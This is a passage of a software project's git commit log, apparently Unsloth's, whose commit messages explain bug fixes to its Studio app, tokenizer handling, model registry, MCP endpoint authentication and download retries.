ran and the popover stayed on the editable form store -- showing the wrong
config/method if the form was edited afterward (Configure re-enables on failure).

Gate the fetch on a runRowReady signal = firstStepReceived OR a terminal phase
(completed/error/stopped), the states in which the backend guarantees the row
exists. This also stops the earlier fetch-then-404 churn during preparation and
lets the effect depend only on values it reads (no lint suppression needed).

* studio: retry the run-config lookup and accept a hydrated step as row-ready

Two ways the popover could stay stuck on the editable form store for a whole
run:

- The backend publishes the progress event that reveals the run before
  create_run commits, so the first lookup can lose that race and 404. The catch
  changed neither runRowReady nor fetchedRunConfig, leaving every effect
  dependency identical, so no further attempt was ever made for that job. The
  failure path now schedules an explicit retry, bounded and keyed by job id, so
  a genuinely absent row falls back to the form store instead of polling.

- A run recovered through status/metrics polling (SSE unavailable or blocked)
  has currentStep restored by applyStatus/applyMetrics but never
  firstStepReceived, and the phase stays training, so the row was treated as
  not ready even at step > 0. currentStep > 0 is now a readiness signal of its
  own.

* studio: fetch the saved run config as soon as the job id exists

start_training() inserts the run row before the pump can consume any event --
deliberately, so the run appears in history during model loading -- and /status
exposes the job id throughout the pre-step phases. Gating the lookup on a first
step or a terminal phase therefore held the popover on the editable form store
for the whole configuring/loading/downloading window, which on a long model or
dataset load is minutes, and indefinitely for a run adopted from another client.

The job id is now the entire readiness condition; the existing bounded retry
still covers the instant before the insert commits.

* Fix Training Config popover fallback for history runs without a saved config; tighten popover comments

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-19 03:45:29 -07:00
Andrew Chen
aef36cfdd4
fix(registry): don't register deepseek models at import time (#7227)
* fix(registry): don't register deepseek models at import time

`_deepseek.py` called `register_deepseek_models(include_original_model=True)`
at module scope, so merely importing `unsloth.registry` registered models
(and reached the hub via `list_models`) as a side effect. None of the other
five families (`_gemma`/`_llama`/`_mistral`/`_phi`/`_qwen`) do this; they only
register when `register_models()` asks them to.

Two consequences:
- Importing the registry populated MODEL_REGISTRY on its own (32 entries,
  including 10 `deepseek-ai` original models that no other family leaks) and
  did network I/O at import time.
- Because the import-time call set the `_IS_DEEPSEEK_*_REGISTERED` guards with
  `include_original_model=True`, the later `register_models()` call (which uses
  the default `include_original_model=False`) early-returned, so the
  original-model set won permanently.

Remove the stray module-level call. The `if __name__ == "__main__"` block below
still registers with `include_original_model=True` for standalone use, so the
generator script is unaffected.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test(registry): make import-side-effect test pass on CPU-only runners

The new test spawned a fresh `python -c "import unsloth.registry"` that did
not inherit tests/conftest.py's GPU-free harness, so on no-accelerator CI
runners the child raised NotImplementedError from unsloth_zoo.device_type
before printing REGISTRY_SIZE. With check=True this surfaced only as an
opaque CalledProcessError, turning the "Repo tests (CPU)" job red even
though the registry fix is correct.

Import this directory's conftest inside the child first so it applies the
same device_type stubs and torch.cuda probe patches. Also use check=False
and include the child stdout/stderr in the assertion message so a future
import regression is legible instead of an opaque non-zero exit.

* test(registry): assert register_models() leaks no upstream originals

Adds a fresh-interpreter test that register_models() registers only
unsloth-org models (deepseek still present via the normal path) and never
leaks the upstream deepseek-ai originals that the import-time guard poisoning
used to leak (129 -> 139). Factors the conftest-harness subprocess runner
into a shared helper reused by both registry import tests.

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
2026-07-19 03:37:23 -07:00
Michael Han
74d1a284eb
Studio: hide the RAG embedder and llama.cpp probe from the hub cached inventory (#7018)
* Studio: hide infra models from the hub cached inventory

The hub inventory scans behind /api/hub/cached-gguf and /api/hub/cached-models
returned the llama.cpp install validation probe (ggml-org/models) and the RAG
embedder (unsloth/bge-small-en-v1.5[-GGUF]) as on-device models. Share the
hidden-model check from routes/models.py via utils/models/hidden_models.py and
apply it in both scans. A GGUF infra repo stays visible when the user
explicitly downloaded a variant through the Hub, since variant manifests only
exist for user-initiated downloads.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make On Device trust the hub inventory, match repo ids exactly, lighten the hidden-model import

Follow-up on the hub cached-inventory hidden-model change, addressing the review.

On Device now trusts the Hub inventory API for cached rows. The backend already
hides the RAG embedder and the llama.cpp probe and re-includes a GGUF infra repo
once the user downloads a variant through the Hub, but the frontend was
re-hiding it by repo id, so the user-downloaded variant never appeared in the On
Device list or the count. isVisibleInventoryRow now short-circuits cached rows
(kind === "cache") to visible and keeps client-side needle hiding only for local
filesystem rows and Discover.

is_hidden_model matches Hub repo ids exactly (case-insensitive) against the probe
plus the effective embedder and its GGUF companion, instead of substring
matching the configured-embedder basename. A custom embedder with a generic
basename like org/model no longer hides unrelated cached repos such as
user/model-chat or org/model-instruct. The probe filename and local-path
embedders keep exact matching.

The helper moves to utils/hidden_models.py and is imported at module scope in the
hub cache scanner, so it no longer pulls in utils/models/__init__ (the eager
model-config/checkpoint stack) and a broken import fails at startup instead of
being swallowed per-repo and silently emptying the inventory. routes.models
keeps the _is_hidden_model and _safe_resolve aliases and drops the unused
_HF_REPO_ID_RE re-export that was failing source lint.

Tests: exact repo-id matching with a custom embedder, the cached-models scan
keeping an unrelated repo, and a clean-interpreter check that the helper imports
without the model-config stack.

* Studio: match the llama.cpp probe filename on both path separators

The hidden-model check compared the probe's on-disk filename with
Path(value).name, which on a POSIX interpreter does not split a Windows-style
path ("...\stories260K.gguf") and would let the probe through. Split on both
separators so the probe is matched regardless of which OS produced the path,
matching the tolerance of the previous substring check. Adds a Windows-path
assertion to the probe test.

* Studio: harden hidden infra model handling

* Fix hidden cache row confirmation

* Fix hidden local rows and confirmed hint merges

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Handle snapshot-configured hidden models

* Hide basename-only default embedders

* Fix dynamic embedder inventory filtering

* Studio: hide the configured RAG embedder from Discover and feed rows

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: Daniel Han <23090290+danielhanchen@users.noreply.github.com>
2026-07-19 03:20:56 -07:00
Michael Han
6d8c18cd1a
Replace standalone Studio wording with Unsloth (#7221)
* Replace standalone Studio wording with Unsloth

Replace the single word Studio with Unsloth wherever it is used as
shorthand for Unsloth Studio in docs, CLI output, UI strings, i18n
locales, workflow display names, comments and docstrings.

Kept unchanged: the full name Unsloth Studio, third party product
names (LM Studio, Visual Studio, Mac Studio), feature names
(Recipe Studio, Fine-tuning Studio and its translations), and all
identifiers such as env vars, commands, paths and filenames.

* Address review feedback on the Studio wording rename

Use "an" before Unsloth where the rename left the article as "a".
Restore the split brand where Unsloth and Studio render as two halves
of the full product name: the onboarding sidebar subtitle and the
IPv6 localhost warning. Scope two messages to the full name Unsloth
Studio where plain Unsloth was misleading: the AMD README bullet and
the CLI studio setup error.
2026-07-19 00:47:04 -07:00
Nilay
e9ef2ac60f
Studio: enforce 60s minimum on idle auto-unload TTL (0 stays off) (#7185)
* Studio: enforce 60s minimum on idle auto-unload TTL (0 stays off)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop decorative section separator from idle TTL floor tests

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-19 00:34:56 -07:00
Daniel Han
030524ae8e
security: refresh the fastapi C2-loop baseline entry for the current release (#7223)
The pip scan-packages studio shard is red on main and on every open PR:
the baselined fastapi finding (the benign SSE keepalive `while True:`
loop in fastapi/routing.py, reviewed and suppressed long ago) records
its evidence at L586 with the span digest of the fastapi release current
at baseline time. The latest fastapi shifts that loop to L587 and its
span digest with it, so the evidence hash no longer matches and the
scanner reports the finding as new, failing the shard with one
unsuppressed CRITICAL.

Re-reviewed the flagged code in the current release before refreshing:
L587 is the same keepalive loop inside the streaming response machinery,
not a beacon. Only the one entry's evidence and evidence_hash change.

Verified with the scanner itself: `scan_packages.py fastapi
--no-baseline` reproduces the exact CI evidence string, and with the
updated baseline the same scan exits 0 with the finding suppressed as
1 CRITICAL baselined.
2026-07-19 00:34:13 -07:00
Long Yixing
4e4af72b9c
fix(studio): honor MLX adapter state in compare mode (#7196)
* fix(studio): add MLX adapter state control

* fix(studio): honor MLX adapter comparison state

* fix(studio): keep enabled MLX adapters permissive

* Studio: preserve public error message on MLX compare-mode adapter failures

generate_with_adapter_control raised a plain RuntimeError, which the compare
route handled with the generic handler that drops the operational message.
Raise GenStreamErrorRaised(public=chunk.public) instead and catch it in the
streaming and non-streaming consumers, matching the safetensors tool loop, so
errors like 'model is being unloaded' surface their real message.

* Studio: re-emit VLM think prefill inside the adapter context

The compare-mode merge dropped _generate_vlm's upfront yield of the prefilled
<think> block. Restore it as the first snapshot inside the lock+adapter context
(matching _generate_text) so the UI renders the thinking block during prefill
and a cancel/error before the first token does not drop it. Adds a regression
test asserting the prefill is emitted first, after entering the adapter context.

---------

Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-19 00:27:55 -07:00
Michael Han
c2cf2b4a1e
Studio: keep the permission pill label when composer pills collapse (#7231)
With 5 or more pills active the composer collapses every pill to an
icon, which hid the Bypass permissions label behind a small glyph.
Exempt the permission pill via data-keep-label so it always shows its
label, with the collapsed icons lining up to its right. Since the pill
is never icon-only now, drop the compact-mode fallthrough in the glyph
off switch so it works while the other pills are collapsed.
2026-07-18 23:15:13 -07:00
Michael Han
95fa3fbe30
Allow API key for Ollama connections (#7173)
The Connections form hid the API key field for the Ollama preset, which
blocked Ollama cloud (it requires a key). Show the optional field for
Ollama; the backend already sends Authorization: Bearer when a key is
set and omits the header when empty, so local keyless servers are
unaffected.

Fixes #7163
2026-07-18 22:47:00 -07:00
Nilay
d8aa0df66e
Studio: keep stale canvas from surviving into a new chat (#7229) 2026-07-18 22:39:49 -07:00
Michael Han
9073f07705
fix(studio): equal padding in the dataset source segmented control (#7230)
* fix(studio): equal padding in dataset source segmented control

* fix(studio): scope dataset source pill layoutId per component instance
2026-07-18 21:08:55 -07:00
Andrew Chen
e55d0e6c75
fix(dataprep): skip .jsonl lines that are valid JSON but not objects (#7195)
* fix(dataprep): skip .jsonl lines that are valid JSON but not objects

`_read_file_by_format` json.loads each line and hands the result to
`_extract_text_from_json`, which assumes a dict:

    for field in self._TEXT_FIELDS:
        if field in data and isinstance(data[field], str):

A JSON line does not have to be an object -- `"context"`, `["text"]` and
`42` are all valid JSON. For those, `field in data` stops being a key
lookup and becomes a substring/membership test, so `data[field]` raises:

    "context"        -> "text" in "context" is True (substring!)
                     -> TypeError: string indices must be integers
    ["text", "foo"]  -> TypeError: list indices must be integers
    42               -> TypeError: argument of type 'int' is not iterable

The TypeError escapes past `except json.JSONDecodeError: continue`, so the
whole load dies on one odd line.

That except clause is also the tell: a *malformed* line is already skipped
gracefully. A *well-formed* line that happens not to be an object should be
too -- it carries no text either way. This makes the two agree.

Reachable from `unsloth-cli.py:253` (`--dataset foo.jsonl` auto-detect) and
`RawTextDataLoader` is exported from `unsloth/__init__.py`.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* Slim the non-object jsonl regression test and shorten the guard comment

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-18 05:54:50 -07:00
Michael Han
9db639f708
Stabilize Studio regression tests (#7192)
* Stabilize Studio regression tests

Rebuild on current main. Restore the set-membership sidebar account-block matcher
(#6647, which fixed the same order-sensitive regex, was reverted on main, so the
guard is failing on main again) and keep the watchdog replacement-race fix, whose
blocked-watchdog stub now waits without a timeout so a superseded watchdog stays
alive until cleanup regardless of scheduler load.

* Tighten the blocked-watchdog stub comment

---------

Co-authored-by: Daniel Han <unslothshared@gmail.com>
2026-07-18 05:54:00 -07:00
Andrew Chen
4e09328c3b
fix(tokenizer): check for tokenizer.model after saving it, not before (#7194)
* fix(tokenizer): check for tokenizer.model after saving it, not before

`fix_sentencepiece_tokenizer` creates its temporary directory, then returns
early unless that directory already contains a tokenizer.model:

    if not os.path.exists(temporary_location):
        os.makedirs(temporary_location)          # fresh, empty

    if not os.path.isfile(f"{temporary_location}/tokenizer.model"):
        return new_tokenizer                     # always true

    old_tokenizer.save_pretrained(temporary_location)   # writes that file

The file only appears on the line after the check, so the guard is always
true and the body never runs. Nothing else writes that path either --
`convert_to_fast_tokenizer` saves into a per-name subdirectory, not
`{temporary_location}/tokenizer.model`.

Both call sites are in `get_chat_template` and are commented "Must fix the
sentence piece tokenizer since there's no tokenizer.model file!" -- the
guard defeats the exact intent the caller states. The effect is silent: the
caller still gets a working `new_tokenizer`, but the sentencepiece piece
rename is skipped, so the mapped token (e.g. the eos token remapped to
`<|im_end|>`) is missing from tokenizer.model and GGUF/llama.cpp exports
carry the old piece.

`check_if_sentencepiece_model` in save.py does the same probe in the right
order -- makedirs, save_pretrained, then isfile. Match it.

Tests are added under tests/saving/ next to the existing sentencepiece
coverage, and to the two Bucket-A lists in consolidated-tests-ci.yml, since
Repo tests (CPU) --ignores tests/saving and these need protobuf.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* Clear stale tokenizer.model before the sentencepiece guard

The guard now runs after old_tokenizer.save_pretrained, but the default
temporary_location is a fixed reusable directory. A fast-only tokenizer writes
no tokenizer.model, so a stale file from an earlier sentencepiece call could
pass the guard and patch the wrong model (e.g. mixing models in one process,
like a long-running server). Remove any existing tokenizer.model first, and add
a regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Empty the reusable sentencepiece scratch directory each call

The final AutoTokenizer.from_pretrained reloads the whole temporary_location, so
removing only a stale tokenizer.model still let other artifacts from a previous
tokenizer (added_tokens.json, chat template, etc.) leak into the reload when the
default reusable directory is used across models in one process. Recreate the
directory instead, and add a regression test for the leaked-artifact case.

* Clear only top-level scratch files, keep subdirectories

Recreating the whole reusable directory deleted the {name} subtree that
convert_to_fast_tokenizer stores a converted tokenizer's source vocab in, so
old_tokenizer.save_pretrained could not copy tokenizer.model and the guard
returned the tokenizer unpatched for those legacy converted tokenizers. Remove
only stale top-level files (all the final reload reads) and leave subdirectories
intact. Add a regression test for the converted-source subdirectory.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the current tokenizer's own source vocab when clearing

On a repeated get_chat_template(map_eos_token=True) call, the returned tokenizer's
vocab_file points back at the top-level tokenizer.model, and the cleanup deleted
that source before old_tokenizer.save_pretrained could re-emit it, so the guard
returned the tokenizer unpatched. Skip removing the old tokenizer's own source
vocab while still clearing stale files from a different tokenizer, and add a
regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Use a per-call temporary directory for the sentencepiece fix

The scratch directory defaulted to a single shared path, so concurrent or repeated
get_chat_template(map_eos_token=True) calls could delete or overwrite each other's
tokenizer.model between save and reload (tripping the piece assertion or reloading
the wrong model), and stale files from an earlier tokenizer could leak into the
reload. Work in a unique per-call subdirectory instead: this isolates every call
without deleting anything the caller owns, and replaces the earlier per-file cleanup.
Tests updated to read the patched model from the reloaded directory and to cover
isolation and source-vocab preservation.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pass only the applied token mappings into the sentencepiece fix

get_chat_template mirrors token remaps into tokenizer.model via
fix_sentencepiece_tokenizer, but two caller paths passed a mapping that did not
match what they wrote to the fast tokenizer JSON, so once the sentencepiece patch
runs the model and JSON disagree:
- the mapped-token path skipped entries whose target already existed but still
  passed the full mapping, renaming a piece the JSON never changed;
- the EOS-swap path swapped both tokens in the JSON but passed only one direction,
  leaving two stop_word pieces and no old EOS piece.
Pass the applied mapping (and both swap directions) instead. Add regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten sentencepiece guard comments

* Add SPDX license identifier to sentencepiece guard test

* Reclaim the per-call sentencepiece scratch directory

The per-call tempfile.mkdtemp fixed the shared-directory race but never cleaned
up, so a long-running process leaked one scratch dir per call. The dir cannot be
deleted eagerly for sentencepiece tokenizers because the returned tokenizer's
vocab_file points into it (a later save_pretrained copies the patched
tokenizer.model from there). Reclaim it correctly instead: remove the dir right
away on the fast-only path (the returned tokenizer never references it), and
attach a weakref.finalize so the sentencepiece dir is removed once its tokenizer
is garbage collected. Add regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the scratch-dir reclaim comment

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-18 05:53:33 -07:00
Ritwij Aryan Parmar
a8ff8673df
feat(studio): expose an opt-in MCP control plane (#7191)
* feat(studio): expose opt-in MCP control plane

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden Studio MCP tools: byte-safe auth, page clamping, forward export/checkpoint fields

Follow-up hardening on the opt-in MCP control plane. All changes are additive
and backwards compatible.

- BearerTokenMiddleware now compares the Authorization header on raw bytes.
  A non-ASCII bearer value previously reached str-based hmac.compare_digest,
  which raises TypeError and surfaced as a 500 instead of a clean 401. The
  constructor also rejects an empty or whitespace-only token so an empty token
  can never match an empty "Bearer " header.
- MCP tools call the route functions directly, which skips FastAPI Query
  validation. list_training_runs and get_recipe_job_dataset now clamp limit and
  offset to the same bounds the HTTP routes enforce (a negative SQLite LIMIT
  otherwise means "no limit").
- export_gguf forwards hf_token (the backend rejects a Hub upload without it),
  accepts a list of quantization methods, and exposes imatrix / imatrix_path so
  the IQ low-bit quants are reachable.
- load_checkpoint forwards hf_token and approved_remote_code_fingerprint so
  gated checkpoints and the remote-code approval retry work. Its docstring is
  corrected: the export backend coexists with training and inference rather than
  freeing GPU work.
- start_training passes via_api_key=False explicitly instead of relying on the
  unfilled Depends default.

Tests: add coverage for non-ASCII and empty-token auth, the correct-token pass
through, non-http scope pass through, pagination clamping, and the forwarded
export/checkpoint fields.

* Harden Studio MCP: cap /mcp request bodies, reject unusable tokens, fix docs

Follow-up hardening from a full review pass. All changes are additive and
backwards compatible.

- Add "/mcp" to _BODY_PROTECTED_PREFIXES so MaxBodyMiddleware enforces the same
  request-body cap it already applies to every other write endpoint (/api/train,
  /api/export, /api/data-recipe, ...). The MCP endpoint accepts authenticated
  POST tool-call bodies; without this an authenticated client could send an
  unbounded body. The middleware only buffers the request body (not the SSE
  response), so streaming is unaffected, and the 500MB default cap never affects
  a real JSON-RPC tool call (verified live).
- Reject a non-ASCII UNSLOTH_STUDIO_MCP_TOKEN at construction. HTTP header values
  are ASCII, so a non-ASCII token cannot be sent by a standard client and would
  silently lock out the endpoint; fail fast instead.
- MCP.md: document the canonical /mcp/ endpoint and note that /mcp redirects to
  it, so clients that do not follow redirected POSTs still connect.

Tests: add non-ASCII token rejection coverage.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten MCP server comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-17 16:50:39 -07:00
Vineeth Sai
a14b032d79
Propagate fp8 block_size before the early return in get_lora_parameters_bias (#7189)
* Propagate fp8 block_size before the early return in get_lora_parameters_bias

get_lora_parameters_bias set the fp8 block_size on W/W_quant only after the
disable_adapters/merged early return, so on the merged or disabled path (merged
inference, DPO reference model) a block-fp8 weight lost its real block_size and
downstream fp8 kernels fell back to [128, 128]. The non-bias sibling
get_lora_parameters already sets block_size before its early return; move the
block so both behave the same.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard the fp8 block_size against a missing quant state

A decompressed compressed-tensors layer keeps quant_method == "fp8" while its
weight is back to bf16, so it has no quant state and get_lora_parameters_bias
must still return W_quant None for fast_linear_forward to fall back to a plain
matmul. Only attach block_size when a quant state was actually found.

* Guard the sibling get_lora_parameters fp8 block_size against a missing quant state

Mirror the get_lora_parameters_bias guard so a decompressed compressed-tensors
layer (quant_method fp8, bf16 weight, no quant state) does not raise
AttributeError on the fused-LoRA path. Add a CPU-only regression test.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-17 16:30:45 -07:00
Nilay
bf4185a2d3
Studio: don't apply nest_asyncio on plain CLI starts (breaks asyncio on Python 3.14+) (#7186)
* Studio: don't apply nest_asyncio on plain CLI starts (breaks asyncio on Python 3.14+)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip nest_asyncio on Python 3.14+ so notebook and embedded Studio starts also work

* Tighten the nest_asyncio gate comment

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-17 16:27:28 -07:00
Long Yixing
8ff2f8e70c
fix(studio): ignore reasoning in tool reprompts (#7134) 2026-07-17 20:22:11 -03:00
Long Yixing
5441266e3a
Fix Studio reasoning channel rendering (#7121)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-17 19:30:37 -03:00
oobabooga
2139200b3f
Studio: don't re-download updated GGUFs on load (#7209) 2026-07-17 19:05:46 -03:00
Long Yixing
57785f92d2
fix(mlx): relax context-store timeout by default (#7141) 2026-07-17 17:13:19 -03:00
Rod Boev
49f2879cf8
fix(studio): recover stalled Hub downloads over HTTP (#6858)
* fix(studio): recover stalled Hub downloads over HTTP

* fix(studio): preserve retry generation and progress baseline

* fix(studio): keep XET retry handoff nonterminal

* fix(studio): preserve retry cancellation on claim failure

* fix(studio): make retry failure cancellation atomic

* fix(studio): close skipped retry state gaps

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Stabilize chat-only export gate detection on Windows

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Retrigger CI on a user-authored head

* fix(studio): serialize XET HTTP retry handoff

* List XET to HTTP retries that are briefly released from the repo guard as active downloads for PR #6858

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Settle no-process active downloads on shutdown so a parked XET retry cannot spawn after cleanup for PR #6858

* Settle exited-error and no-process downloads on shutdown and persist their cancel markers for PR #6858

* Keep terminal HTTP failures uncancelled and block companion deletion for released retry peers for PR #6858

* Trim download lifecycle test coverage

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
2026-07-17 19:32:03 +03:00
oobabooga
1c7bce427e Revert "Feat/model picker per model config (#6647)"
This reverts commit 8cbdfbe355.
2026-07-17 07:38:46 -07:00
Eyera
8cbdfbe355
Feat/model picker per model config (#6647)
* refactor(studio): move chat model picker into features/model-picker

Relocate model-selector + its support files from components/assistant-ui
into a self-contained features/model-picker feature (own barrel), mirroring
the modular Hub layout. Pure move + import repoint; no behaviour change.

* feat(model-picker): add per-model config persistence layer

Superset PerModelConfig (customContextLength, kvCacheDtype, speculativeType,
specDraftNMax, tensorParallel, chatTemplateOverride, trustRemoteCode) persisted
to localStorage (unsloth_model_configs) with schema versioning + LRU budget.
KV-dtype and speculative value sets match main's sidebar (no q4_0/ngram-simple).
Reuses features/hub/lib/model-identity for normalization; adds storage-key layer
and applyPerModelConfigToRuntime (sets tensorParallel, which the old PR omitted).

* feat(picker): modular backend for chat-template validate + default fetch

New studio/backend/picker package (schemas/service/routes) mounted at /api/picker:
- POST /api/picker/validate-chat-template (Jinja syntax validation, no false positives)
- GET  /api/picker/chat-template/{model_name} (default template from tokenizer_config.json,
  reusing get_cache_path/resolve_cached_repo_id_case; graceful null, no model-code exec)
Frontend api/templates.ts client + hooks/use-model-defaults lazy cache. No backend
changes to the existing inference load route (per-model load fields already supported).

* feat(model-picker): bind picker on-device list to shared hub inventory

Picker now sources cached + local models from useHubInventory (the Hub's shared
store) via a thin adapter, replacing its own /api/models/* fetchers + module
caches. Hub, download manager, and picker now share one source of truth, so
completed downloads reflect in the picker automatically. Partial/live-download
rows are filtered from the cached lists (unchanged rendering). Local naming/search
preserved via additive LocalInventoryRow modelId/displayName. Variant expander,
scan-folder management, recommended-fit, search, external providers untouched.

Known minor: cached 'Downloaded date' sort tiebreak degrades to alphabetical
(hub cached rows carry no mtime); default 'recent' (load-time) sort preserved.

* feat(model-picker): per-model config step inside the picker

Picking a (non-external) model now opens an in-picker config view built from
main's current load controls (context length, KV cache dtype, speculative
decoding, draft tokens, tensor parallel) plus a chat-template editor backed by
the picker validate/default endpoints. 'Remember for this model' persists the
config per model+variant; Run forwards the config to the existing load flow via
meta.config. External models bypass the step. Two-view orchestration lives in
model-selector (single interception point); pickers.tsx call sites untouched.
trustRemoteCode dropped from PerModelConfig to preserve main's per-load consent.

* feat(chat): apply/persist per-model config through the load flow

handleCheckpointChange threads meta.config into the selection; stageOrLoad and
the autoload/Hub-run paths now apply the picker config (explicit pick or saved
remembered config) via applyPerModelConfigToRuntime before staging/loading, with
keepSpeculative set so a remembered speculative mode survives the model switch.
Replaces the old remembered-load-settings seeding (resolveInitialConfig now the
single source). SelectedModelInput carries config.

* refactor(chat): remove per-model load config from the right sidebar

The load knobs (context, KV cache, speculative, draft tokens, tensor parallel)
and the chat-template editor now live only in the picker config step. The sheet's
Model section keeps the staged Load/Cancel flow (config is applied at pick time);
sampling params, system prompt, and RAG are unchanged. Deletes the superseded
remembered-load-settings module + the store's applyRememberedLoadSettings action,
removes the now-dead sheet state/imports, and points the settings reset at
unsloth_model_configs. Delete-cleanup deferred (stale config is LRU-capped).

* fix(model-picker): remove leftover sidebar-staging cogwheel + empty Model section

The downloaded-variant gear (ModelLoadSettingsAction) staged a model straight
into the right-sidebar Run-settings flow -- the old 'configure before load' path
now fully replaced by the in-picker config step. Removed the gear + its component.
Also gate the sheet's 'Model' section to staged picks only (pendingSelection):
after the load-knob strip its content is staged-only, so it was rendering an
empty section header whenever a model was merely loaded.

* chore(chat): remove dead per-model-config setters + modelControlsDisabled

After the load-config UI moved into the picker, the store's per-model setters
(setKvCacheDtype/setSpeculativeType/setSpecDraftNMax/setTensorParallel/
setCustomContextLength/setChatTemplateOverride) had zero callers
(applyPerModelConfigToRuntime writes via setState), and the sheet's
modelControlsDisabled was unreferenced. Verified dead across the whole tree.

* fix(chat): config-step Load actually loads (ignore Load-on-selection)

Root cause: with Settings > Chat > 'Load on selection' turned OFF, the config
step's load went down the deferred-staging path -- opening the right sidebar with
'<model> is staged, not loaded yet / Choose Load model'. The in-picker config step
IS the deliberate load action, so its Load now loads immediately (or downloads +
auto-loads when not cached) regardless of the toggle. Renamed the button
'Run model' -> 'Load model' to match. Native/dropped picks still honor the toggle.

* refactor(chat,hub): retire 'Load on selection' — config step is the only load flow

The in-picker config step (and the Hub Run button) now fully supersede the old
stage-to-sidebar flow, so the Load-on-selection toggle is removed everywhere:
- chat stageOrLoad: every pick loads immediately, or downloads + auto-loads when
  not cached (the previous default behaviour, now universal).
- hub Run: drops the stage branch; downloaded GGUFs load directly with their saved
  per-model config (no collision with the chat config step — both end at selectModel).
- store: removed loadOnSelection field/setter/key/default; Settings>Chat toggle and
  its settings-reset entry removed.
- staged sidebar section is now a download-progress view (auto-loads on completion).
No manual staging remains; stageModel is used only for background auto-load downloads.

* feat(model-picker): default chat template from GGUF + thread variant through config flow

Read the embedded tokenizer.chat_template from GGUF files (read_gguf_chat_template
in gguf_metadata) and use it as the per-model default. Plumb gguf_variant through
the picker service, /api/picker/chat-template route, frontend templates API, and
use-model-defaults so the right variant's template is fetched.

Also refine the picker config-page/model-selector wiring, drop the dead
ggufNativeContextLength runtime path, and add the per-model-config storage keys to
the settings prefs export.

* feat(model-picker): read safetensors chat template + hide editor where it has no effect

Resolve the default chat template for safetensors models: prefer the modern
chat_template.jinja, fall back to the tokenizer_config.json chat_template field,
then chat_template.json (multimodal processor), then the GGUF embedded template.
Applied to local dirs, the HF cache snapshot scan, and the HF remote fetch.

Hide the chat-template editor in the picker for safetensors models — the override
is only applied at load by the GGUF/llama.cpp backend, so editing it on safetensors
currently has no effect. GGUF keeps the editor. Nothing removed; the dialog stays
for when the safetensors apply path is wired up in a later branch.

* fix(model-picker): set legacy-migration flag only after the write succeeds

Set unsloth_model_configs_migrated only once writeMap confirms the migrated
map persisted, so a quota/storage failure no longer marks migration done and
silently drops the user's pre-existing remembered settings — the next load retries.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* MVP model picker fixes

* MVP picker config fix

* MVP safetensors config

* MVP max seq config

* MVP max seq fix

* Fix static max tokens cap ignoring model context

* Fix picker GGUF scan parity

* fix(studio): harden model picker config loading

Apply remembered per-model configs consistently from picker and Hub loads, keep default configs from overriding standing speculative settings, add config access for direct local GGUF files, and support saving or forgetting active model settings without a reload.

* Fix model picker config flow

